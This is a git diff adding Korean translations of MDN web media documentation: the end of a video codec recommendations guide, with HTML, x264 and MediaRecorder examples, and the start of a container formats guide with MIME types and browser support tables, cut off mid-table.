+<p>어떤 코덱을 사용할지는 스스로 꼬리에 꼬리를 무는 질문을 던진 끝에 답을 얻을 수 있습니다.:</p>
+
+<ul>
+ <li>오픈 포맷을 사용할건가요? 상용 코덱도 염두에 두고 있나요?</li>
+ <li>한 비디오를 여러 포맷으로 생산할 여력이 되나요? fallback 옵션을 제공할 수 있다면 의사 결정 과정을 단순화 할 수 있습니다.</li>
+ <li>호환성을 포기할 수 있는 브라우저가 있나요?</li>
+ <li>보장하는 커버리지 상 가장 오래된 브라우저는 어떤 것인가요? 예를 들어 지난 5년간 출시된 모든 브라우저를 지원할지, 1년 사이의 브라우저만을 지원할지?</li>
+</ul>
+
+<p>아래 섹션에서는 특정 유즈케이스에서 추천할만한 코덱을 명시합니다. 각 유즈케이스마다 최대 두 개의 추천 코덱을 볼 수 있습니다. 특정 유즈케이스에 베스트인 코덱이 상용이거나 로열티 지불이 필요하다면 생각해 볼 두 가지 옵션이 있습니다: 로열티 프리 오픈 코덱을 선택하거나, 상용 라이선스를 따르거나.</p>
+
+<p>각 비디오당 하나의 포맷만 제공할 수 있다면 필요한 요구사항을 최대한 만족하는 최적의 포맷을 선택해야 합니다. 첫 번째 추천 코덱은 품질과 퍼포먼스, 호환성을 최대한 고려한 것이며 두번째는 품질과 퀄리티, 크기를 조금 희생하더라도 최대한의 호환성을 가지는 옵션입니다.</p>
+
+<h3 id="Recommendations_for_everyday_videos">Recommendations for everyday videos</h3>
+
+<p>우선 블로그나 정보형 사이트, 소규모 기업 웹사이트 등 상품을 설명하기 위한 비디오(비디오 자체가 상품은 아닌)를 위한 옵션을 알아봅시다.</p>
+
+<ol>
+ <li>
+ <p><strong><a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></strong> 컨테이너에 비디오는 <strong>{{anch("VP8")}}, 오디오는</strong> <strong><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a></strong> 코덱을 사용합니다. 이들은 로열티-프리 오픈 포맷이지만 최근 브라우저에서만 폭넓게 지원하는 경향이 있어 폴백 지원이 필수적입니다.</p>
+
+ <pre class="brush: js">&lt;video controls src="filename.webm"&gt;&lt;/video&gt;
+</pre>
+ </li>
+ <li>
+ <p><strong><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></strong> 컨테이너에 비디오 코덱은 <strong>{{anch("AVC")}}</strong> (<strong>H.264</strong>) 오디오 코덱은 <strong><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#AAC">AAC</a></strong> 를 사용합니다. MP4 컨테이너에 AVC, AAC 조합은 모든 주요 브라우저에서 폭넓게 지원하는 조합이며 대부분의 유즈케이스에서 좋은 품질을 보여주기 때문입니다. 하지만 라이선스 요구사항에 대해 컴플라이언스 이슈는 없는 지 확인이 필요하죠.</p>
+
+ <pre class="brush: html">&lt;video controls&gt;
+ &lt;source type="video/webm"
+ src="filename.webm"&gt;
+ &lt;source type="video/mp4"
+ src="filename.mp4"&gt;
+&lt;/video&gt;
+</pre>
+ </li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> {{HTMLElement("&lt;video&gt;")}} 엘리먼트는 자식으로 {{HTMLElement("source")}} 엘리먼트 유무에 상관 없이 <code>&lt;/video&gt;</code> 닫기 태그가 필요하다는 것을 잊지 마세요.</p>
+</div>
+
+<h3 id="고품질_비디오_제공을_위한_추천">고품질 비디오 제공을 위한 추천</h3>
+
+<p>여러분의 목표가 최대한 높은 품질의 비디오를 재생하는 것이라면 가능한한 다양한 포맷으로 제공할 수 있는 방법을 모색해야합니다. 최신의 코덱일수록 고품질 비디오를 지원하지만 반대로 브라우저 호환성은 떨어집니다.</p>
+
+<ol>
+ <li>
+ <p>WebM 컨테이너에 비디오 코덱은 AV1, 오디오 코덱은 Opus. AV1 인코딩 시 6.3 High level 같은 높은 전문 프로파일을 사용할 수 있다면 훌륭한 품질의 비디오를 4K/8K 해상도로 제공할 수 있습니다. 오디오 인코딩 시 Opus Fullband 프로파일로 48 kHz 샘플링 레이트를 사용한다면 사람이 들을 수 있는 거의 모든 주파수를 캡쳐할 수 있죠.</p>
+
+ <pre class="brush: js">&lt;video controls src="filename.webm"&gt;&lt;/video&gt;
+</pre>
+ </li>
+ <li>
+ <p>MP4 컨테이너에 비디오 코덱으로 {{anch("HEVC")}} 를 쓰되 프로파일은 Main 4:2:2 10/12 bit 색 깊이, 최대 Main 4:4:4 16 bit 색 깊이 수준의 고급 Main 프로파일을 사용합니다. 비트레이트를 높이면 놀라운 색 재현과 훌륭한 그래픽 퀄리티를 보여줄 것입니다. 또한 하이 다이나믹 레인지 비디오를 위한 HDR 메타데이터도 추가할 수 있습니다. 오디오는 ACC 인코딩 시 높은 샘플링 레이트(최소 48 kHz, 96 kHz 권장)에 fast-encoding이 아닌 complex-encoding을 사용합니다.</p>
+
+ <pre class="brush: html">&lt;video controls&gt;
+ &lt;source type="video/webm"
+ src="filename.webm"&gt;
+ &lt;source type="video/mp4"
+ src="filename.mp4"&gt;
+&lt;/video&gt;
+</pre>
+ </li>
+</ol>
+
+<h3 id="비디오_보존_편집_믹싱을_위한_추천">비디오 보존, 편집, 믹싱을 위한 추천</h3>
+
+<p>웹 브라우저에서 사용 가능한 무손실-아니면 거의 무손실-비디오 코덱은 현재 없습니다. 이유는 간단한데:비디오는 거대합니다. 무손실 압축은 손실 압축에 비해 비효율적입니다. 예를 들어 4:2:0 크로마 서브샘플링의 무압축 1080p 비디오(1920*1080 픽셀)는 최소 비트레이트가 1.5Gbps가 넘죠. FFV1(브라우저 미지원) 같은 무손실 압축 코덱을 사용하면 콘텐츠에 따라 다르지만 600 Mbps 근처로 줄일 수 있습니다. 하지만 네트워크로 보내이겐 여전히 엄청난 크기이며 현실적으로 불가능한 사이즈입니다.</p>
+
+<p>손실 코덱이 무손실 모드를 가지고 있다 하여도 별 반 다르지 않는데;현재 웹 브라우저에서 무손실 모드를 구현하고 있지 않기 때문입니다. 최선은 손실 압축을 사용하는 코덱 중 최대한 고품질 코덱을 선택한 뒤 최소한의 압축만 수행하도록 설정하는 것입니다. 한가지 방법은 코덱을 설정하기를 "fast" 압축을 선택하는 것입니다. 일반적으로 이는 압축을 최소화합니다.</p>
+
+<h4 id="외부에_비디오_보존">외부에 비디오 보존</h4>
+
+<p>여러분의 웹 사이트나 앱 외부 영역에 보존 목적의 비디오라면 무압축 원본 비디오 데이터를 압축하는 유틸리티를 사용하세요. 예를들어 <a href="https://www.videolan.org/developers/x264.html">x264</a> 유틸리티는 매우 높은 비트레이트로 {{anch("AVC")}} 인코딩을 할 수 있습니다:</p>
+
+<pre>x264 --crf 18 -preset ultrafast --output <em>outfilename.mp4</em> <em>infile</em></pre>
+
+<p>다른 코덱들도 충분한 여유가 있다면 더 나은 최고-품질 압축을 보여줄지도 모릅니다, 단지 그 인코더들은 엄청 느려서 위 압축으로 얻어지는 거의 무손실 비디오가 전체적으로 비슷한 품질을 보여주면서도 상당히 빠를겁니다.</p>
+
+<h4 id="비디오_녹화">비디오 녹화</h4>
+
+<p>무손실에 가까운 비디오를 보여줘야 한다는 제약이 있다면, {{anch("AVC")}} 또는 {{anch("AV1")}}를 고려해 볼 필요가 있습니다. 예를들어 비디오를 녹화하기 위해 <a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>를 사용한다면, {{domxref("MediaRecorder")}} 객체를 생성하는 코드는 아래와 같습니다:</p>
+
+<pre class="brush: js">const kbps = 1024;
+const Mbps = kbps*kbps;
+
+const options = {
+ mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
+ bitsPerSecond: 800*Mbps,
+};
+
+let recorder = new MediaRecorder(sourceStream, options);</pre>
+
+<p>위 예제에서 <code>MediaRecorder</code>를 생성하여 BT.2100 HDR, 12-bit color 4:4:4 크로마 서브샘플링 설정으로 {{anch("AV1")}} 비디오 레코딩을, <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#FLAC">FLAC</a>으로 무손실 오디오를 레코딩 하고 있습니다. 결과물 파일은 비디오 오디오 트랙 합쳐 800Mbps를 넘지 않을 겁니다. 하드웨어 성능이나 요구사항, 사용하고자 하는 코덱에 따라 설정 값을 변경할 수 있습니다. 위의 비트 레이트 값은 네트워크 실사용 케이스에선 비현실적인 값이며 로컬 장치에서만 가능하겠죠.</p>
+
+<p><code>codecs</code> 파라미터 값을 '.' 기준으로 나눠서 의미를 분석해 봅시다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">값</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>av01</code></td>
+ <td>4문자 코드 (4CC-4 Character Code) {{anch("AV1")}} 코덱을 의미합니다.</td>
+ </tr>
+ <tr>
+ <td><code>2</code></td>
+ <td>프로파일. 2는 Professional profile. 1은 High profile, 0은 Main profile.</td>
+ </tr>
+ <tr>
+ <td><code>19H</code></td>
+ <td>레벨과 티어. AV 스펙의 <a href="https://aomediacodec.github.io/av1-spec/#levels">A.3</a>의 표에서 설명, Level 6.3의 High tier를 의미합니다</td>
+ </tr>
+ <tr>
+ <td><code>12</code></td>
+ <td>색 깊이. 컴포넌트당 12bit를 의미. 8, 10도 가능하나 AV1에서 표현할 수 있는 가장 정확한 색 깊이 값이 12입니다.</td>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td>모노크롬 모드 플래그. 1로 지정하면 색차 성분은 녹화되지 않으며 휘도 성분만 축적되어 그레이스케일 이미ㅣ지로 표현됩니다. 색상을 사용할 것이므로 0으로 지정하였습니다.</td>
+ </tr>
+ <tr>
+ <td><code>000</code></td>
+ <td>크로마 서브샘플링 모드. AV1 스펙의 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a>에 설명. 모노크롬 모드 값이 0일 때 000 값은 4:4:4 크로마 서브샘플링 또는 색상 손실이 없어야 함을 나태냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>09</code></td>
+ <td>사용할 색 공간. AV1 스펙의 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a>에서 설명 9는 HDR을 위한 BT.2020 색역을 의미합니다.</td>
+ </tr>
+ <tr>
+ <td><code>16</code></td>
+ <td>전송시 사용할 색 공간. 마찬가지로 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a>에서 설명; 16은 BT.2100 PQ 컬러로 전송하겠다는 의미입니다.</td>
+ </tr>
+ <tr>
+ <td><code>09</code></td>
+ <td><a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a> 에서 설명하는 계수 행렬. 9 값은 유동 휘도 값의 BT.2020 색역을 사용하겠다는 의미입니다. BT.2010 YbCbCr와 동일한 의미입니다.</td>
+ </tr>
+ <tr>
+ <td><code>1</code></td>
+ <td>"full range" 비디오 플래그. 1은 전체 컬러 영역을 녹화하겠다는 의미입니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>선택하고자 하는 코덱 문서에 <code>codecs</code> 파라미터 값이 받아들이는 설정이 설명되어 있습니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">웹 오디오 코덱 가이드</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Containers">미디어 컨테이너 포맷(파일 타입)</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Support_issues">웹 콘텐츠에서 미디어 사용시 이슈 해결</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">WebRTC에서 사용하는 코덱</a></li>
+ <li>{{RFC(6381)}}: The "Codecs" and "Profiles" parameters for "Bucket" media types</li>
+ <li>{{RFC(5334)}}: Ogg Media Types</li>
+ <li>{{RFC(3839)}}: MIME Type Registrations for 3GPP Multimedia Files</li>
+ <li>{{RFC(4381)}}: MIME Type Registrations for 3GPP2 Multimedia Files</li>
+ <li>{{RFC(4337)}}: MIME Type Registrations for MPEG-4</li>
+</ul>
diff --git a/files/ko/web/media/formats/컨테이너/index.html b/files/ko/web/media/formats/컨테이너/index.html
new file mode 100644
index 0000000000..d4e45c294a
--- /dev/null
+++ b/files/ko/web/media/formats/컨테이너/index.html
@@ -0,0 +1,1279 @@
+---
+title: 미디어 컨테이너 포맷 (파일 타입)
+slug: Web/Media/Formats/컨테이너
+translation_of: Web/Media/Formats/Containers
+---
+<p>오디오와 비디오 파일 포맷은 두 파트에서 정의할 수 있습니다.(오디오 비디오가 한 파일에 있으면 물론 3 파트지요): 오디오/비디오 코덱와 미디어 컨테이너 포맷(도는 파일 타입)입니다. <span class="seoSummary">이 가이드 문서는 웹에서 널리 쓰이는 컨테이너 포맷에 대해 알아보고 기본적인 스펙와 장단점 그리고 적절한 사용법을 설명하고 있습니다.</span></p>
+
+<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 는 컨테이너를 사용하지 않습니다. 대신에 각 트랙을 나타내는{{domxref("MediaStreamTrack")}} 객체를 통해 인코딩 된 오디오/비디오 트랙을 한 곳에서 다른 곳으로 직접 스트리밍합니다. WebRTC에서 일반적으로 사용하는 코덱이나 브라우저 호환성을 알아보려면 <a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a> 문서를 참고하세요.</p>
+
+<h2 id="일반적인_컨테이너_포맷">일반적인 컨테이너 포맷</h2>
+
+<p>미디어 컨테이너 포맷에는 여러 종류가 있지만 여러분들은 보통 아래 나열된 목록의 포맷을 주로 만나게 될 겁니다. 일부는 오디오만 지원하는 것도 있고 오디오와 비디오 모두를 지원하는 포맷도 있죠. MIME 타입과 확장자도 나열되어 있습니다. 웹상에서 가장 많이 쓰이는 컨테이너 포맷은 아마도 MPEG-4 (MP4), Quicktime Movie (MOV), Wavefile Audio File Format (WAV)일겁니다. 또한 MP3, Ogg, WebM, AVI 등의 포맷도 볼 수 있지요. 하지만 모든 브라우저가 이 다양한 포맷들을 지원하는 것은 아닙니다. 사용하기 편하고 다른 조합과의 구분을 위해 특정한 컨테이너와 코덱의 조합은 독자적인 MIME type과 확장자를 가지기도 합니다. 예를들어 Opus 오디오 트랙만을 가진 Ogg파일은 가끔 Opus 파일이라 불리며 <code>.opus</code> 확장자를 가지는 경우도 있습니다. 하지만 실제로는 단순한 Ogg 파일일 뿐이죠.</p>
+
+<p>반대 케이스로 특정 코덱이 특정 컨테이너에 담긴 형태가 매우 보편적일 경우 독자적인 형식으로 취급하는 경우도 있습니다. MP3 오디오 파일이 대표적인 경우로, MPEG-1 컨테이너에 MPEG-1 Audio Layer III 코덱으로 인코딩 된 오디오 트랙 하나만이 담긴 케이스입니다. 컨테이너는 일반적인 MPEG지만 이 형식은 <code>audio/mp3</code> MIME 타입과 <code>.mp3</code> 확장자를 사용합니다.</p>
+
+<h2 id="컨테이너_포맷파일_타입_인덱스" style="font-size: 1.4em;">컨테이너 포맷(파일 타입) 인덱스</h2>
+
+<p>특정 컨테이너 포맷에 대해 더 알아보려면 아래 목록에서 찾아 클릭하세요. 컨테이너 사용법과 지원하는 코덱, 지원하는 브라우저 등을 알 수 있습니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{anch("3GP")}}</li>
+ <li>{{anch("ADTS")}}</li>
+ <li>{{anch("FLAC")}}</li>
+ <li>{{anch("MPEG", "MPEG / MPEG-2")}}</li>
+ <li>{{anch("MP4", "MPEG-4 (MP4)")}}</li>
+ <li>{{anch("Ogg")}}</li>
+ <li>{{anch("QuickTime")}}</li>
+ <li>{{anch("WAVE")}}</li>
+ <li>{{anch("WebM")}}</li>
+</ul>
+</div>
+
+<h3 id="3GP">3GP</h3>
+
+<p><strong>3GP</strong> 또는 <strong>3GPP</strong> 컨테이너는 셀룰러 네트워크를 통해 전송하고 모바일 장치에서 사용하기 위해 고안되었습니다. 원래 3G 모바일 폰을 위해 디자인하였지만 현대의 모바일 폰과 네트워크에서도 사용하고 있습니다. 하지만 네트워크 처리량이 늘어나면서 3GP 포맷의 필요성은 점차 줄어들고 있죠. 그러나 여전히 느린 네트워크나 저사양 폰에서는 유용한 컨테이너이기도 합니다.</p>
+
+<p>이 컨테이너는 ISO Base Media File Format과 MPEG-4 기반이지만 저대역폭 케이스에 최적화되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>Base 3GP media MIME types</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ <th scope="col">Video</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/3gpp</code></td>
+ <td><code>video/3gpp</code></td>
+ </tr>
+ <tr>
+ <td><code>audio/3gpp2</code></td>
+ <td><code>video/3gpp2</code></td>
+ </tr>
+ <tr>
+ <td><code>audio/3gp2</code></td>
+ <td><code>video/3gp2</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>위는 3GP 컨테이너의 기본 MIME 타입입니다; 사용하는 코덱에 따라 다른 타입을 사용할 수도 있습니다; 또한 MIME 타입 문자열에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 어떠한 오디오/비디오 코덱을 사용했는지 표시할 수 있으며 profile, level, 코덱 설정 값도 추가하여 전달할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>3GP가 지원하는 비디오 코덱.</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AVC (H.264)</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a>,<a href="#3gp-vid-footnote-1">2</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">H.263</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-4 Part 2 (MP4v-es)</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">VP8</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-vid-footnote-1" name="3gp-vid-footnote-1">[1]</a> FIrefox only supports 3GP on <a href="https://www.khronos.org/openmax/">OpenMAX</a>-based devices, which currently means the Boot to Gecko (B2G) platform.</p>
+
+<p><a id="3gp-vid-footnote-2" name="3gp-vid-footnote-2">[2]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<table class="standard-table">
+ <caption>3GP가 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AMR-NB</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">AMR-WB</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">AMR-WB+</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">AAC-LC</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">HE-AAC v1</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">HE-AAC v2</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MP3</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-aud-footnote-1" name="3gp-aud-footnote-1">[1]</a> FIrefox only supports 3GP on <a href="https://www.khronos.org/openmax/">OpenMAX</a>-based devices, which currently means the Boot to Gecko (B2G) platform.</p>
+
+<p><a id="3gp-aud-footnote-2" name="3gp-aud-footnote-2">[2]</a> Firefox support for AAC relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="ADTS">ADTS</h3>
+
+<p><strong>Audio Data Transport Stream</strong> (<strong>ADTS</strong>) 는 인터넷 라디오 같은 오디오 스트림을 사용하기 위해 MPEG-4 Part 3로 규정된 컨테이너 포맷입니다. 근본적으로 ACC 오디오 데이터에서 스트림만 깐 것과 거의 동일하며 최소한의 헤더만 담긴 ADTS 프레임으로 구성되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>ADTS media MIME types</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/aac</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+ </tr>
+ <tr>
+ <td><code>audio/mpeg</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-foot-1" name="adts-foot-1">[1]</a> The MIME type used for ADTS depends on what kind of audio frames are contained within. If ADTS frames are used, the <code>audio/aac</code> MIME type should be used. If the audio frames are in MPEG-1/MPEG-2 Audio Layer I, II, or III format, the MIME type should be <code>audio/mpeg</code>.</p>
+
+<table class="standard-table">
+ <caption>ADTS가 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">AAC</th>
+ <td></td>
+ <td></td>
+ <td>Yes<sup><a href="#adts-aud-footnote-1">1</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MP3</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-aud-footnote-1" name="adts-aud-footnote-1">[1]</a> Firefox support for AAC relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="FLAC">FLAC</h3>
+
+<p><strong>Free Lossless Audio Codec</strong> (<strong>FLAC</strong>)은 무손실 오디오 코덱입니다; 이 코덱을 담을 수 있는 컨테이너 역시 FLAC이라 부릅니다. 이 포맷은 어느 특허에도 묶여있지 않아 자유롭게 사용할 수 있습니다. FLAC 파일은 FLAC 오디오 데이터만 담을 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>FLAC media MIME type</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/flac</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>FLAC이 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">FLAC</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEGMPEG-2"><a id="MPEG" name="MPEG">MPEG</a>/MPEG-2</h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-1")}}과</strong> <strong>{{interwiki("wikipedia", "MPEG-2")}}</strong>은 근본적으로 동일합니다. the Moving Picture Experts Group (MPEG)에서 만들었으며 DVD 등의 물리적 매체에서 널리 쓰이고 있습니다.</p>
+
+<p>인터넷에서 아마 가장 많이 사용되는 MPEG 파일 포맷은 {{interwiki("wikipedia", "MPEG-1", "Layer_III/MP3", "MPEG-1 Audio Layer 3")}} 일 겁니다; MP3 파일은 전 세계의 디지털 오디오 장치에서 널리 재생되고 있습니다. 반대로 MPEG-1, MPEG-2는 웹에서 별로 사용하고 있지 않죠.</p>
+
+<p>MPEG-1과 MPEG-2 간의 차이점은 컨테이너 포맷이 아니라 미디어 데이터 포맷에 있습니다. MPEG-1은 1992년 소개되었으며; MPEG-2는 1996년에 소개되었습니다.</p>
+
+<table class="standard-table">
+ <caption>MPEG-1과 MPEG-2 media MIME types</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ <th scope="col">Video</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/mpeg</code></td>
+ <td><code>video/mpeg</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>MPEG-1과 MPEG-2가 지원하는 비디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">MPEG-1 Part 2</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-2 Part 2</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>MPEG-1과 MPEG-2가 지원하는 오디오 코덱</caption>
+ <thead>
+ <tr>
+ <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+ <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+ </tr>
+ <tr>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Safari</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">MPEG-1 Audio Layer I</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-1 Audio Layer II</th>
+ <td></td>
+ <td></td>
+ <td>No</td>
+ <td></td>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+ <td></td>
+ <td></td>
+ <td>Yes</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEG-4_MP4"><a id="MP4" name="MP4">MPEG-4 (MP4)</a></h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-4")}}</strong> (<strong>MP4</strong>) 는 최신 MPEG 파일 포맷입니다. 파트 1과 14 스펙에서 정의된 두 가지 버전의 포맷이 있습니다. MP4는 오늘날 유명한 컨테이너 포맷으로 많이 쓰이는 코덱을 지원하며 널리 사용되고 있습니다.</p>
+
+<p>최초의 MPEG-4 Part 1 포맷은 1999년 발표되었습니다; Part 14에서 정의된 버전 2 포맷은 2003년 추가되었습니다. MP4 파일 포맷은 <a href="https://www.apple.com/">Apple</a>이 개발한 {{interwiki("wikipedia", "QuickTime file format")}}에서 파생된 {{interwiki("wikipedia", "ISO base media file format")}}에서 다시 파생되었습니다.</p>
+
+<p>MPEG-4 미디어 타입을 표기할 때 (<code>audio/mp4</code> or <code>video/mp4</code>), MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 추가적으로 profile, level, 코덱 설정 등을 명기할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>기본 MPEG-4 media MIME 타입</caption>
+ <thead>
+ <tr>
+ <th scope="col">Audio</th>
+ <th scope="col">Video</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/mp4</code></td>
+ <td><code>video/mp4</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>위는 MPEG-4 미디어 컨테이너의 기본 타입입니다; 어떤 코덱을 쓰느냐에 따라 MIME 타입도 달라질 수 있습니다. 또한 MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 추가적으로 profile, level, 코덱 설정 등을 명기할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4가 지원하는 비디오 코덱</caption>
+ <thead>
